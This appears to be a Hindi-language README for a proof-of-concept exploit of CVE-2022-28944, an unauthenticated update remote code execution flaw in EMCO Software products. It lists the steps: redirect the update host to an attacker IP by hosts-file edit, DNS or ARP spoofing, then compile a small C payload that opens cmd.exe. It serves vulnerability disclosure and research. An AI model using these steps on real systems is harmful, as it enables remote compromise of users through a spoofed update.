CVE-2022-28944

EMCO सॉफ़्टवेयर के कई उत्पादों में अनप्रमाणित अपडेट रिमोट कोड निष्पादन भेद्यता।

उपयोग: python3 cve-2022-28944_poc.py

विवरण रिपोर्ट में gerr.re पर।

पुनरुत्पादन के चरण

1. EMCO सॉफ़्टवेयर का कोई प्रभावित उत्पाद स्थापित करें;
2. storage.emcosoftware.com को हमारे हमलावर आईपी पर स्पूफ़ सेट करें;
   • प्रमाण-अवधारणा के लिए लक्ष्य पर c:\windows\system32\drivers\etc\hosts संपादित करें।
     • नोट: हमलावर उदाहरण के लिए उपयोग कर सकते हैं:
       • खराब कॉन्फ़िगर किए गए राउटर/स्विच/डीएनएस,
       • DNS स्पूफ़ / कैश पॉइज़निंग,
       • ARP स्पूफ़ / कैश पॉइज़निंग।
3. हमलावर पर proof.c संकलित करें, उदाहरण के लिए i686-w64-mingw32-gcc proof.c -o proof.exe का उपयोग करके;

#include <windows.h>
int main(int argc, char const *argv[]){	
	WinExec("cmd.exe",1);
	return TRUE;
}